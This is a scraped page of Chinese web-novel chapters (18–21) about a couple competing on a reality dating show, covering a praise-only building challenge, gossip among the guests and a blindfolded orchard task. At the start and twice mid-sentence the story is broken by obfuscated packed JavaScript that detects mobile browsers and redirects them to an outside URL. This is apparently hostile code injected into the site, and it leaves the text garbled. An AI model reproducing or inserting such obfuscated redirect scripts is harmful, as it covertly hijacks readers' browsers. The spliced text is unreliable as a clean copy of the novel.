0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992408|193776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,池知夏和姚柯叶最后选了捕鱼。 未出席任务拍卖会的沈蔷薇和贺平这对“花瓶cp”不仅被扣除了两百资金,还被强制分配任务爬山背篓——两人上山寻找指定数量的农作物,而且还要把它们背下山,这个任务才算完成。这是他们都放弃的一个较难任务。 牧阳知道,看点来了。 “我们争取把那个隐藏任务也完成,这样就能顺利换房间了。”回到房间,晏川和牧阳坐在床上商量。 牧阳跟着他一起看任务卡。 这间“励志房”实在太破旧了,屋顶的灯甚至都保留了陈年的旧污,投下的灯光昏暗,似乎处处是尘埃。 饶是这样烂旧的环境,晏川身上也有一种既来之则安之,泰然自若的镇定感。 牧阳蓦地产生了一种“奋斗”的念头——他俩好像那种一起从小镇闯到大城市来的小夫妻,白天各自辛苦,晚上一起窝在老旧的小出租屋里互相鼓励,互相安慰。 他拿着那张任务卡,侧头和她说话,就好像在规划两人的未来一样。 “……你觉得怎么样?”晏川转头问她。 牧阳缓慢地眨了一下眼睛。 “哦,抱歉,”她笑了,“我刚刚发了会呆。你说什么?” 晏川轻“啊”了一声,专注地观察她的脸色:“是不是累了?要不还是先休息吧?” 牧阳往前倾,头往前一砸,靠在他肩上:“有点累。” “先去洗漱。”晏川拉她胳膊,“刷完牙再睡。” 这话好像以前也有人和她讲过。 ……是谁呢? 牧阳更觉得头痛。她把脸朝向里侧,只留给晏川一个后脑勺。 晏川紧张地喉头滚咽。 他的手慢慢揽过牧阳的肩,压低声音:“还醒着吗?” “你刚刚的意思是,我们明天把营建任务附带的‘隐藏任务’完成,然后争取换房间。”牧阳闷声说。 “嗯。”晏川应了一声。 “行,”牧阳叹了口气,“你最好连夜搜搜有什么夸人的话。” “知道了。”晏川到底还是忍不住,他悄悄把手往上移,摸到了牧阳的头发。 牧阳一个激灵从他怀里爬起来:“你摸我头发干什么?” “……不可以摸吗?”晏川一愣。 “……都乱了!”牧阳捂着头发往洗手间冲。 “不是,”晏川立刻站起来想要解释,但是关门声已经响了,“我……牧阳……” 晏川失落地低下头,原地站了几秒,忽然想到什么,对着摄像机解释:“她之前也揉我头发。所以我没有多想,以为没事的。” 牧阳洗漱完回来,直接把摄像机都关了。晏川进门的时候,就发现房间一片黑,牧阳甚至没给他留灯。冥冥中似乎有红点闪烁,他寻着记忆的方向一点一点往里走。 晏川探出手,摸到床沿。他尽量放轻声音,不想吵到里面已经睡觉的牧阳。 但是他的手被拉住了。 “小川,”牧阳唤他,“我没有真的生气。” 晏川握着她的手,在床边坐下:“真的?我就是没反应过来,因为你也摸……” “应该是没有生气。”牧阳换了个说法。 他看不清她的脸色,但是他知道她正看着他。 “你可以生气,”晏川垂下眼,“我想知道我哪里做错了,这样我可以改。” “我就想问你这件事,”牧阳拉着他的手,“你上来。” 布料窸窸窣窣的声音。不过两人都没有管这声音里的暧昧,晏川躺在牧阳身边,足够近的距离让他的脸几乎触碰到她的五官。 “你没有脾气吗?”牧阳问他,“我问的直白一点——你想装给谁看?” 18. 【十八】 “……我没有。”不过几秒,晏川就反应过来。 他握紧她的手,像是发誓一样贴近她:“我本就如此。” 牧阳没说话。 他不确定她相信了没有。短短几秒钟,他的心跳得擂鼓一样,紧张得几乎要流汗。 “啊,”她笑了一声,和叹息似的,“那就是装给我看的。” 晏川一下抬起头。 然而牧阳已经转过身去,朝着墙睡了。 他看不见她的神色,可是他又无从解释,只能默默将被她甩开的手收回胸前。 手指蜷在掌心,他张了张口,最后沉默地闭上眼睛。 怕和第一天找小吃一样紧迫,这次牧阳和晏川分别定了闹钟。他们早早来到基地外围,在空空荡荡的场地中热身。 他们抢来的任务是搭建一个可供两人休息的休息点。这个休息点就建在营地里,到时候三对嘉宾,以及节目播出之后的游客都可以去打卡。 材料节目组已经准备好了,毕竟大家都不是专业的,要是真放手让嘉宾从头开始造,一期节目的时间肯定不够用。 牧阳:“好长的竹子。” “这应该要有五米了吧。”晏川估算。 果然节目组请来的师傅介绍说这就是今天的材料,对应需要用到的竹子已经被分别削成了互相适配的零部件,嘉宾只需要对照图纸进行组装即可。 牧阳专注地听师傅讲话,不时跟着师傅的语气笑一笑。 晏川注意到她的笑容,没有打断。等师傅走了,他才问她:“你能直接听懂师傅讲的话吗?” “只是有一点口音,应该没有很难懂吧。”牧阳眨眨眼。 晏川苦笑着低下头:“其实我有一半是猜的。” “他的意思是,我们要建造的是凉亭的框架。等梁顶搭好,我们盖一张油布就可以挡雨了。如果不盖油布,用来做花棚也可以。种上爬藤植物,到时候头顶都是花,会很好看。”牧阳解释。 晏川听着她讲,最后点点头:“我明白了。那他有讲什么搭建的技巧、窍门吗?” 牧阳学着他的样子,点点头:“没有呢。” 晏川:“……” 两人对视了一会,忽然一齐笑了出来。牧阳找节目组的人:“对了,我们发起隐藏任务挑战!” 节目组的编导上来确认:“你们抽到的营建任务,对应的隐藏任务是‘即时欣赏’:在整个任务过程中,你们只能赞美对方。如果你们发出的赞美出现重复或笼统表述,则视为隐藏任务失败。挑战需要提供五十挑战费,你们确认挑战吗?” “确认挑战。”牧阳说。 “确认,”晏川看到编导比手势,“这就开始了吗?” 牧阳观察了一下节目组的行动,转过头:“应该是的。” 两人互相对视了好几秒,一时无话。 “这个任务,有说过语言的间隔时间吗?”晏川忽然意识到一个问题。 “不能这么几秒就判定吧,不然我们讲一天话,嘴皮子都会讲裂。”牧阳像是突然反应过来,连忙道,“你真心细,还能发现节目组的漏洞。” “你也很贴心,”晏川想了想,补充,“为我们的嘴唇着想。” “当然要想啊,毕竟很好亲。”牧阳耸耸肩。 晏川耳根红了,他蹲下去看图纸:“我们还是先看看这个吧。” “好啊。”牧阳跟着蹲下来。 她兴致勃勃地看了半天,却越看越是眉头紧锁。最后她转头对晏川:“明明看起来就四条柱子一个顶的事,怎么看起来这么难?” “……我以为你会觉得简单。”晏川顿了一下,“你在我心里就是这么厉害。” 牧阳盯着他,几秒钟没说话。很显然,晏川这里并没有准备夸人的话,因此他的找补显得有些阴阳怪气。 没人说话,这回节目组开始倒计时了。 她不得不出声:“你很擅长看图纸,或许你的动手能力也会很强,我很期待见识一下。” 话一出口就显得怪怪的,显得好像她心有怨气。牧阳扶住额头。 气氛一度降到冰点,眼看不能这么下去,两人各自看向别处,都盘算着找补点什么。 晏川先道歉:“……抱歉,开启隐藏任务有点莽撞。” “是我低估了隐藏任务的难度,”牧阳也在反省,就在那一瞬间,她灵光一现,放下手,“幸好是你,你能理解我的意图。” “是你一直在理解我。”晏川握住她递来的手,跟着她的动作起身,“有你的引导,我才知道该往哪里走。” “好奇怪啊,这些话。感觉都不是人说的,”牧阳说,“我真不习惯。” 话音落下,节目组倒计时的灯开始闪烁。 她像被烫到一样急忙道:“你的手真好看,握起来也很舒服。” 晏川立刻接话:“你也是。还记得底下四根竹子的顶部结构吗?这个应该就是最底下的‘顶梁柱’,先把它们立起来吧。” “你记得就好了,”牧阳说完,忽然意识到问题出在哪里了,“不,等等!我们需要真正的沟通。拆成两个点来说可以吗?” 她朝晏川比手势:“我先说。咳咳,第一,我们需要商量一下到底怎么搭建这个竹凉亭,我们的规划、步骤、分工,有必要的话,你得给我讲解一下你对这个图纸的想法和理解。” 晏川愣了一下,很快点头。 他听进去了,神色也跟着认真起来。 “第二,”牧阳却放松了,“我刚刚发现,你实在是帅得可以。哪怕你说话阴阳一点,我反应也比平时慢很多。不过我还是受不了这样对话,太奇怪了,太塑料了。” 晏川像是在思考。 他想了好几秒,才回复:“我明白。那我也拆开说。首先,我听你的,你打算在哪里搭,就在哪里搭,我们只要确认一个点,以及凉亭的朝向,剩下的三个点就可以跟着定下来。” 手指在空地比划出一个范围,晏川示意牧阳发挥想象力:“根据图纸,我们最好先确定底柱,然后再考虑凉亭的顶。凉亭的顶是一个类榫卯结构,我不确定是先做好最后再扣上去,还是搭完柱子再继续往上搭建。这需要试验。” 他说完之后,牧阳明显有了领悟的表情。他忍不住笑了一下,又抿住嘴,最后才道:“你好聪明。幸好有你想出来的这个办法,不然我可困扰了。” 牧阳很显然又不太想理他。 但是她只是叹了口气,屈腿抱起竹身,把它立起来。 “我都不确定我说话是不是也显得有点阴阳了。”牧阳说,“柱子摆这里就可以吧?朝向的话是哪儿?大概从这里到这里?” 她张开手臂,让晏川看自己理解的距离。 “好。”晏川说,“就从这里到这里吧。你在这里不要动,我来定点。” 他弯腰捡起地上的竹子,除了立柱还有横梁。手臂的肌肉鼓起,他撑起立柱,分别支在撑在三个对应的角落。至于横梁,他也顺便挑出,轻巧地摆在地上。 凉亭的四角有了。 确认最后一根柱子也撑住了,晏川沿着对角线和牧阳对视:“其实我第一次见你的时候,就被你迷住了。” 牧阳的身后是大树。更远处,还有太阳和群山。 他却想起那个由钢筋混凝土铸造的森林。 “那个时候你很疲惫,但是我觉得你很美,像在休憩的凤凰。雨水淋在你的身上,也会被你的热气蒸干的那种凤凰。” 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他像是被她的笑容刺痛了,可又忍不住想靠近。 牧阳在等他的回答。 他不敢看她。可是她出奇地有耐心。 拖到最后,他才小心翼翼地回望。 “……我希望你能更喜欢我,”晏川低声说,“再多喜欢我一点。” 像撒娇,像祈求。 又像是下定了某种决心。 “你要多少?”牧阳问。 “仅次于你的事业,”晏川说,“不输给任何人。” 牧阳为难地摇头:“你要的太多了。” 他只好提醒:“你喜欢我诚实。” “是。”她笑了,“所以,我愿意试试看。” 手机赞助商的推广任务完成,牧阳和晏川拍完凉亭下的合照,回到小屋的沙发区休息。 晏川喝了一口水,显然一句话也不想说了。 牧阳也差不多,她也累得什么话都懒得讲。 搭建竹凉亭是体力活,两人协调配合是脑力活。在考验体力和智力的同时,隐藏任务还在折磨两人的情商。 牧阳心想,她不该和晏川计较的:他还年轻,心态上还是个孩子呢。 他动手能力强,领悟能力更强,顶多只是有点不会夸人。 她也不会,而且不该因为自己不会,就模仿他说话,惹得两个人都不高兴,气氛很奇怪。 不过,就算这样了,晏川也不会和她吵架。 简直就是…… 她就是没法和狗吵架! 不是说她不会生气,也不是狗不会生气,而是语言不通,她说什么,狗也只会拱一拱她,试图安抚她的情绪罢了。 这么想的牧阳,忽然伸出一只手。 晏川看了看,虽然不理解,还是把自己的下巴搁在她的手心。 ……还真是。 她没说话,他也没说话。 牧阳掐住他的下巴:“你就这么接受?” 晏川反应过来她在说什么。 有时候更多的真心,只会带来更多的伤害。更何况本该共赢的合作关系,何必再演到失态? 赞美变成伤害。他想过她的夸奖可能不会太好听,却没想到自己的夸奖对她来说也并非受用。 可能是他的措辞太不合适了。 她会喜欢听什么类型的赞美呢?晏川努力地回忆,可无论现在的牧阳,还是记忆中的她,似乎都无法给他答案。 晏川有意讨好,可是他做不到,达不成她的期望。 因为,他给不了她想要的诚实。 19. 【十九】 忠诚是建立在信任基础上的。只有直白地表达自己的欲望,才能通过奖惩机制得到训练。 训犬如是,人也一样。 牧阳需要晏川给她足够的反馈,可是他给的一直都不达预期。 再这样下去,她大概只会以为他不想。 “我想,”晏川说,“我愿意更进一步。” 他观察她的反应。他们都没办法把话说得太清楚。 “你……”牧阳迟疑了。 “你接受吗?”他反问她。 “很奇怪。”牧阳果然说,“我不适应。” “那,”晏川仔细分辨她的脸色,提议道,“我们还是和之前一样相处?” 牧阳怔了一下:“之前?” “我和姐姐在咖啡馆见面不久之后,”他侧身靠过来,“你对我很感兴趣,而我自矜自骄,待价而沽。” 牧阳记得那一幕。她不得不承认,晏川的魅力不止年轻,不,确切地说,他吸引她的点和青春活力反倒无关。 就像磁铁带走回形针,只需要一个瞬间。 “确实很喜欢。不过有点假,现在有点了解你了,不太信你这一套了。” 关系一旦拉近,如何各退一步?缠在一起的线团梳理不清,最后只能扯断。 牧阳的神色冷了下去。晏川没说话,就着她倒下去的手,连头带身体一起塌陷在沙发里。 她发觉身边一沉,干脆扯过手,拍拍身侧:“坐近一点。让我靠一靠。” 他依言照做。 牧阳肩膀一转,把头埋进他胸口。晏川像一个靠枕,自带发热,暖烘烘的令人安心。 被靠着的晏川,心绪仍在混乱之中。他等着她的下一步指示,只是怎么等也等不到。 过了好一会,他才回过神:“……牧阳?谦谦姐姐?” 她竟然睡着了。 好消息:沈蔷薇和贺平和好了。 坏消息:池知夏和姚柯叶开始闹矛盾;池知夏还受了伤。她的膝盖被溪水中的石子划破,一回小屋就紧急消毒。 牧阳和晏川甚至更早知道,因为节目组买药瞒不住他们。牧阳也很干脆,直接问为什么要买药,得知了池知夏受伤的消息,立刻表达了关心。 晏川跟着牧阳走,帮她一起清理沙发区,腾出摆药品的地方。 “捕鱼的挑战性还是很高的,爬山挖野菜就更不用说了,”牧阳叹了口气,“幸好我们的任务简单,下午还能稍微休息一会。” “嗯。都是你选的好。”晏川说。 牧阳侧目看了他一眼:“怎么没有任务之后,听这种话觉得顺耳多了。” “是吗?”晏川抬头看了她一眼,“可能是任务的原因。” “隐藏任务确实名不虚传,”牧阳招手,“我们把地上这些东西都拿走,万一进来的时候踩到什么东西不好。” 晏川跟着做。 这一收拾起来,难免互相牵连,茶几上放不下的挪到桌上,桌上放不下的又要找柜子去摆。 牧阳留意到他收拾东西的习惯。 “你倒是和我一样,喜欢把杂志竖起来放。”她观察他收拾桌面的手法。 节目组特意摆了有沈蔷薇、池知夏所在组合、姚柯叶上内页的杂志。而晏川现在的摆放方式正好是把杂志的画面都露出来,错落有致,弄得空旷的柜子成了错落有致的屏风。 “太漂亮了。”牧阳盛赞。 “是你教的好。”晏川轻声说。 牧阳没错过他这句话:“我教的?” 晏川笑笑。 牧阳记得在家她没这么摆过杂志。虽然她从青春期就喜欢把海报杂志手办装饰这样摆,不过这都是陈年旧事了。不过,这种事很容易找借口——大不了在家找个角落收拾出来,“客厅没拍到”这种理由,再合适不过。 于是她大手一挥,豪情道:“那当然了。” 晏川只是笑,没再接话。 当天晚上池知夏眼泪汪汪地感谢大家,姚柯叶有意想说些软话,池知夏只是沉默,没有任何回应。沈蔷薇倒是搂着她狠狠安慰,牧阳夸桌上那道鱼,这是夏夜cp辛苦劳动的成果。 池知夏这个时候就要说了:“都是我捕的。” 牧阳真的有些惊讶:“这么厉害?!那小姚呢,捕的鱼去哪里了?” “他被鱼放生了,”池知夏慢吞吞道,“所有的鱼看到他那张网,掉头就走。” “没有鱼跟着他回来呀。”牧阳听懂了,笑着接话。 “对啊,他一条也没捕到。”池知夏故意哼着气说。 “喂!”姚柯叶气急败坏,又无法反驳。 大家都被逗笑了,连贺平也跟着笑起来。 “算了算了,罚他今晚不能吃鱼,把他的鱼肉都让给你吃,行不行?”沈蔷薇劝道,“他要是还做了什么坏事,我们给你撑腰!” “对,罚他不能吃鱼。”贺平一边说一边急忙又夹起一块鱼肉,“这么好吃的鱼,新鲜着呢。” “你们俩想多吃几块怎么能替夏夏做决定。”牧阳觉得沈蔷薇和贺平根本就是添乱倒油的,看起来快缓和的气氛又变得紧张了。 牧阳对这种时候制造看点毫无兴趣。此时造梗如同下班前被通知临时加班,再加上今天太累了,而且他们的隐藏任务还遭遇挫折,她特别需要休息。 池知夏眼看又委屈上了。她眼眶一红:“其实我也没……” 纸盒忽然被摆到池知夏面前。晏川把纸盒往她的方向推了推,又收回手,看向牧阳。 牧阳敲他一下。她就近夹起两块肉,铺到他碗里,小声叮嘱:“吃菜,别多事。” 池知夏的眼泪已经扑簌簌落下。她果真抽出纸巾,开始揩眼泪。 “我们还是把空间留给他们吧。”牧阳瞪贺平和沈蔷薇,“走吧走吧!” “再吃会呗,难得这么好的菜?待会还要参加任务竞拍呢?”沈蔷薇莫名其妙。 牧阳摇头:“不急这一会,我们先撤。” 她一抬手,晏川果然跟着她站起来,往外面走去了。 沈蔷薇愣住:“这才多久,好端端的一个小伙子就变成她的狗了。” 贺平冷笑:“这哪是狗啊,分明又是一条。” “一条什么?”沈蔷薇想也没想地问。 “中山狼啊。”贺平说。 “……你这什么话啊!”沈蔷薇反应过来了!她一下急了,要去打贺平。 这是能说的吗?! “哈哈哈,她眼光很差啊,你又不是不知道。”贺平说。 “……录节目呢!”沈蔷薇拍他的手臂。 “对啊,就是录节目,”贺平点头,“我要不在节目里说,大家还说我编排她呢。就是节目,才好开她的玩笑嘛。” 沈蔷薇停下手,不解:“这话什么意思?” “哦,”贺平刚要解释,就好像是刚反应过来似的,神色骤然一变,“以前选本,她老看不出谁是渣男,谁是反派。不过她业务能力可以的,选的小鲜肉都不错,质量很好啊。小姚,你不考虑考虑?” 贺平这是祸水东引,把话题转到一直想安抚池知夏,和池知夏道歉说开的姚柯叶身上。 姚柯叶也有点没反应过来:“啊?哦,不行吧,沐阳娱乐的艺人要求单身的……” “哦?!”沈蔷薇来劲了,“那前段时间……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992410|193776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贺平拽住沈蔷薇的手臂,突然一笑:“你们慢慢吃,我们吃饱了,先走。” “阿平?!” “走了走了。” 贺平和沈蔷薇走出好长一段距离,直到经过小屋外的走廊。刘导看到他们,点了点头,示意他们可以先休息了,等会再回去准备竞拍部分的拍摄。 贺平却是鬼祟凑上前:“能不能删了我桌上那段?” 刘导没说话,笑着看他们两个。 沈蔷薇反应过来:“不对,阿平,你这么说,刘导更感兴趣,这一段他更要留下了!” 贺平怔住。 显然,贺平录综艺的经验没有沈蔷薇多,沈蔷薇赔了个笑脸,拉着贺平走了。 “你想想怎么和牧阳商量公关的事吧。”沈蔷薇叹气,“我今天真是说错话了,而且还没来得及拦住你。这下好了。” “但这个雷早晚会爆的呀。”贺平忍不住说。 “不行!她是什么人,她和……这么大的事情,都能这样瞒天过海,这大学生搞不好也就是个弃子,只能指望观众对你后面几句找补买账了。” “主要是她是签人的,这太容易混淆了!”贺平也叹气,“谈的也是男人,签的也是男人,我只想说她搞对象的眼光差,又没说别的。” “但是那个也不能说啊。”沈蔷薇说,“网友别去扒她公司就行了。” “不行,还是得先告诉她,”贺平说,“不然她后面知道,指定要来搞我们。” 沈蔷薇没说话。 牧阳在圈内的名气和圈外可不一样,敬她的人和黑她的人一样多。更何况今天的热搜他俩凌晨窝在被窝里都看到了,也不知道牧阳和她那个小鲜肉是怎么回事,装得和没事人一样。 意卷江湖摊上这么大的事,贺平都收到玩得好的导演发的消息,当家的云绘雨大概率要受重创。原本准备给她冲奖的那个饼直接碎了,那导演还问他愿不愿意把沈蔷薇借出来。 啧…… 既然云绘雨要减少曝光消除影响,那么靠炒cp吸来的粉丝长期吃不到物料,保不住又要流失走了。 流到哪里呢? 下一个端上来的提供三对cp供大家磕的综艺是什么,好难猜啊。 要说不是牧阳做的,可她那棵当家摇钱树前脚刚走,后脚意卷江湖就不顾当年提携,忘恩负义落井下石……牧阳这性格,以前惹过她的就没一个有好下场,更何况这种趁人病要人命的。 也不一定。她人还在这里录综艺呢,是她出手的可能性不大? 但是和她一点关系没有…… 谁也不敢这么说。 贺平和沈蔷薇沉默地斟酌了一会,最后沈蔷薇说:“还是得说。” 贺平点了点头:“找个机会和她说。” “我看看能不能和她单独聊聊。”避开节目组的前提下。 沈蔷薇和贺平商量完,若无其事地回了小屋。 “神神秘秘的,你们搞什么去了?”牧阳调侃他们,“就等你们了。” “来晚了,我自罚三杯。”贺平去拿赞助商饮料。 “这有什么意思!你俩都得喝。”牧阳说。 沈蔷薇:“行!听你的,我们喝。” 牧阳看不懂了,挑起眉毛:“你俩还真背着我们做坏事了?我说什么都听啊?一点都不讨价还价的。” 贺平和沈蔷薇皆是一愣。沈蔷薇反应快,忙笑道:“这怎么可……” “交杯酒。” 牧阳转头看晏川。 晏川重复:“你们喝交杯酒吧。” 这下连红着眼睛的池知夏都舍得抬头了。 “看到没,还是小孩坏。”贺平说。 20. 【二十】 两人惊疑不定的一瞬,晏川竟然和牧阳解释:“交杯酒,算奖励。” 牧阳顿了一秒,一拍大腿:“小川说得对!老何,你俩神神秘秘耽误我们一个人十分钟,四个人就是四十分钟!” 这是玩起来了,姚柯叶已经在拼命想梗,可他的死脑子就是跟不上节奏。 其实臭两句回去也行,可架不住沈蔷薇心虚啊! 她真的拿起饮料,挽住贺平的手:“喝还不行吗?” 眼见明艳大美人主动挽着爱人喝“交杯酒”,姚柯叶立刻开始起哄,拼命给他们鼓掌! 牧阳知道这饮料含糖量不会少,赶紧叫停:“行了行了!打住啊,给我们留两杯。别愣着了,人到齐了,快点开始拍卖!” 后一句是对节目组说的。于是编导们行动起来,再次推过任务板。牧阳死死按着晏川的手,这家伙蔫坏,刚刚姚柯叶起哄的时候,他竟然也跟着鼓掌,还带节奏。 不知道贺平和沈蔷薇刚才到底干什么去了,这次竟然和他们有商有量的;姚柯叶也学乖了,知道问池知夏和其他人的意见。 “看来这回‘合作’主题真是进修对了。”牧阳小声感叹,“要是接下来的两天都能这么和谐……” “到明天花瓶组合的资金可能会低于一百,‘信任’主题可能是最后一个分组主题任务。”晏川垂下眼帘。 牧阳没接话。 有商有量的结果就是,三组均以一百一十元的公平价格分别得到一份任务。沈蔷薇并没有因为自己淋过雨就给池知夏扯伞。不过,贺平为什么没有耍心机,大概就只有他本人自己知道了。 牧阳还在琢磨,刘导忽然发布了广播:“由于木船cp超额完成隐藏任务,其积分已满足许愿条件,奖励星空房一间!” “天呐!”她忍不住站起来,“真的完成了?” 晏川也跟着站起来。 牧阳激动地原地蹦了一下,扯住晏川的手腕:“我们完成了!” 晏川点点头,去握她的手:“嗯。” “我们怎么完成的!”牧阳难以相信,“我们这样就算完成吗?” “由于你们是唯一一对挑战隐藏任务的cp,而且经过节目组确认,执行度高达70%,远超预期,经全组投票,决定满足你们的许愿。” “太好了!”牧阳举起手。 晏川没说话,但是他的眼睛和星星一样亮,举着手和牧阳击掌。 贺平:“真高兴啊,像小孩一样。” “你能不能不要像个老人一样说话。”沈蔷薇忍不住说他。 “我是说挺好的,有活力。”贺平说。 牧阳甚至顾不上安慰池知夏了,她冲出去:“我去收拾行李搬家!” 晏川没有急着跟上。他拍了拍姚柯叶的肩膀,和贺平、沈蔷薇点了点头才道别。 等他们都走了,沈蔷薇才叹气。贺平知道她今天是抓不住牧阳了,拍拍她的肩:“走吧,以后有机会。” 池知夏还低着头呢。今天远远没有结束,她和姚柯叶要把这场“和好”的戏演完。 牧阳已经忍不住在大大的席梦思上打滚了。 “跟拍的人已经走了。”晏川提醒。 “不影响我开心啊!”牧阳说,“久违了,这舒适柔软的床铺,是以前的我不懂珍惜。现在看来,这简直是帝王级别的享受啊!” 晏川忍不住笑了:“那陛下现在可要就寝?” “咳咳!”牧阳轻咳一声,伸手,“那小川子就来替朕更衣吧!” 晏川:“……” 他忍不住坐到她身边:“我以为我至少会是个宠妃。” 牧阳翻身背对着他。 晏川只好平挪一步:“牧阳?” 牧阳突然翻身,直接把他扑倒在床上。她的手按在他胸口,知道抓错着力点了也硬是没立刻拿开:“……怎么样,席梦思的感觉。” 晏川的心咚咚跳着。他仰头盯着她:“你的脸好红。” 四目相对,空气好像也要燃起火花。 “……你也一样!还不快起来去刷牙洗脸!”牧阳一把拿开手,没好气地要拽他。 “不,我想再体验一会席梦思的感觉。”晏川也耍赖。 牧阳再拽了他一下,发现拽不动:“……行吧。” 她也跟着躺下。 其实她已经很困了。刚才为了表演强打起精神,结果到现在兴奋劲还没过。这其实不是好兆头,明天她可能真的一点也起不来。 房间静谧,耳畔就是另一个人的呼吸声。 心跳乱得像恋爱一样。年轻美好的□□就在身边,可是红眼睛的镜头在明,两人事前说好的合作关系在暗。 要忍,要克制,不能占小朋友的便宜。不能失去底线。 就在这个声音出现的一瞬间,牧阳的脑子里忽然冒出一个念头:要不就装吵架,赖掉一天? 只要她假装对晏川不满,就可以躲在大床上不离开,既能补觉,养精蓄锐,还能趁机收拾好情绪。就是这招太损,需要让小川独自面对明天的采摘任务…… 小川…… 她还是忍不住心软了。 牧阳想到这两天每次洗漱完,晏川都站在门口等她,像自己叼过牵引绳,期待和主人一起出门的小狗。她不得不承认,那个湿漉漉的眼神像要把人融化一样诚挚而温柔。她舍不得。 “睡不着吗?”晏川忽然问。 翻了个身的牧阳:“……” “……我可以闻闻你吗?”晏川像是鼓起勇气说的,声音在她身后低得几乎听不清,“这张床太大了,你离我好远。” 牧阳总算反应过来他在说什么,一骨碌爬起来:“还没洗漱。你也没洗漱!起来,刷牙洗脸。” 晏川只好跟着起来。 年轻就是身体好。 牧阳一边刷牙,一边面无表情地想。 她困得感觉自己都快脑雾了,晏川竟然能比她还早起半小时,收拾完再来喊她,贴心地给她留睡眠时间。 等她收拾好出门,晏川连早餐都给她拿上来了。牧阳反应迟了两秒,连他手里的包子豆浆都没接到。 “还觉得困吗?” 牧阳听到他问,漫不经心地“嗯”了一声,就伸手去抓早餐袋。然而,她抓住早餐袋的一瞬,他的吻也落在她嘴唇上。 一模一样的薄荷香气。 她顿时瞪大眼睛,而他也适时撤开:“早。” 牧阳捏住早餐袋,塑料袋摩擦,发出滋啦声响。 “早。”牧阳说,“吓我一跳。” “抱歉。”晏川说。 在车上,牧阳一言不发。她看起来在闭目养神,但就他侧耳听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992411|193776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来的呼吸频率来说,大概率是没睡。 晏川心想,她大概率是有点生他的气的,但是不知道是为什么。他试探了,她没有生气,但是他也拿不准这反应是好还是不好。 不过,她想报复他的话,接下来有的是机会吧。毕竟他们最后选择的任务是“果园盲行者”,顾名思义,就是有一个人需要蒙上眼睛,在另一个人的指引下负责摘果。 晏川很难说明自己的心思。 在节目录制之前,牧阳拿出节目上一季的完播率数据,以及其他同类竞品节目高点击高浏览量的切片。 “矛盾和冲突是最适合展现人性的,”牧阳当时和他说,“这几对cp都因为陷入困境成为看点。我给你看这些内容,是想告诉你,不要刻意避免冲突。真人秀的机制就是为冲突的情境设置的,不管你愿不愿意暴露自己,你都会被他们针对。” 他问她:“那我们需要主动制造矛盾吗?” 她摇摇头,笑了:“你还有这本事?” “我算是看出来了,你喜欢编故事。不过,这由不得你说了算。”那支画圈的触控笔虚点他的眉心。 确实,他说了不算。 因为他们一下车,牧阳就说:“我负责当盲行者,来给我绑上吧。” 晏川迟了一步,但也不肯照做。他走到牧阳面前:“我以为……” “我懒得说话。”牧阳耸耸肩,“快点,完成任务我们回去。” 晏川皱着眉:“一旦确定盲行者和指引员,就不能更换了。” 其实能换,扣钱。 他们扣不起。 牧阳显然也不考虑那个选项:“我认为这样更合适。” 晏川盯着她看了几秒。 忽然,他从她的脸色中瞧出些许不一样来。 “……好。”他说。 她之前真的是想有意引导他,是在试探他! 所以她一边和他说,“不由你说了算”,一边试图主动制造矛盾;就像她一边和他说“别动你的发型”,一边又把他的头发揉乱。 他不经预告的碰触,好像在她的生气范围里,又好像只是虚张声势。 什么意思呢? 不过眼下,她的意志不容置喙。 晏川抿紧嘴唇,接过那条黑色的绑带,绕到她身后。 他有点太紧张了。 牧阳心想,这个绑带真有够松的,她倒是想作弊,但如果绑带滑下来,那就有点尴尬难看了。 “绑紧点,”她说,“我没那么娇气。” 晏川只好将绑带再抽紧一点:“我知道。” “别慌呀,”她的唇角勾起,“我的手这么一伸,摸过去就全是苹果。任务,一下就完成。” 晏川没好气地笑:“是。我第一次做指挥,请多指教。”他放下手的那一刻,牧阳伸出去的手也跟着落下来。 他忽然明白,她不是自己说得那么气定神闲。 “现在,请盲行者开始转圈!”节目组的人在喊。 失去视觉之后,听觉好像变得敏锐了。牧阳不适应地侧头,只觉得喇叭的声音太尖锐。 这么一歪头,转圈的时候差点踉跄。就在眩晕中,有人接住了她。肢体接触的感觉,比她预计的还要熟悉。 “我只是不能采摘。你是安全的,我会扶住你。”他说。 21. 【二一】 没有视力之后,失去了对距离的估计。 但牧阳却丝毫不见小心,她迈的步子甚至比平时还大。 “那就拜托你咯。”牧阳听到他的保证,也没和他客气,直接就着他的帮扶往前走了几步,等一走稳,就把他甩开了。 晏川收回手,没出声。她看不见他失落的神色,大概看见了也不会在乎。 牧阳仍然兴高采烈地走在前面:“苹果树——” “等等!”晏川连忙跟上去,“双臂抬起,对,举高,你再往前一步,对,往右,往右。” “好像僵尸啊。”牧阳一边举着一边说,“你是炼尸的那个邪道士!” “……手再往前伸一点。”晏川无奈,“邪道士才不需要说那么多话,掐诀就可以了。” “那你掐诀试试,说不定我可以呢。”牧阳伸出去的手上下摆了摆。 确实像小僵尸。 晏川嘴角悄悄弯起。他努力忍着笑:“我刚刚已经掐了,看来效果不大。” “你掐了什么?” 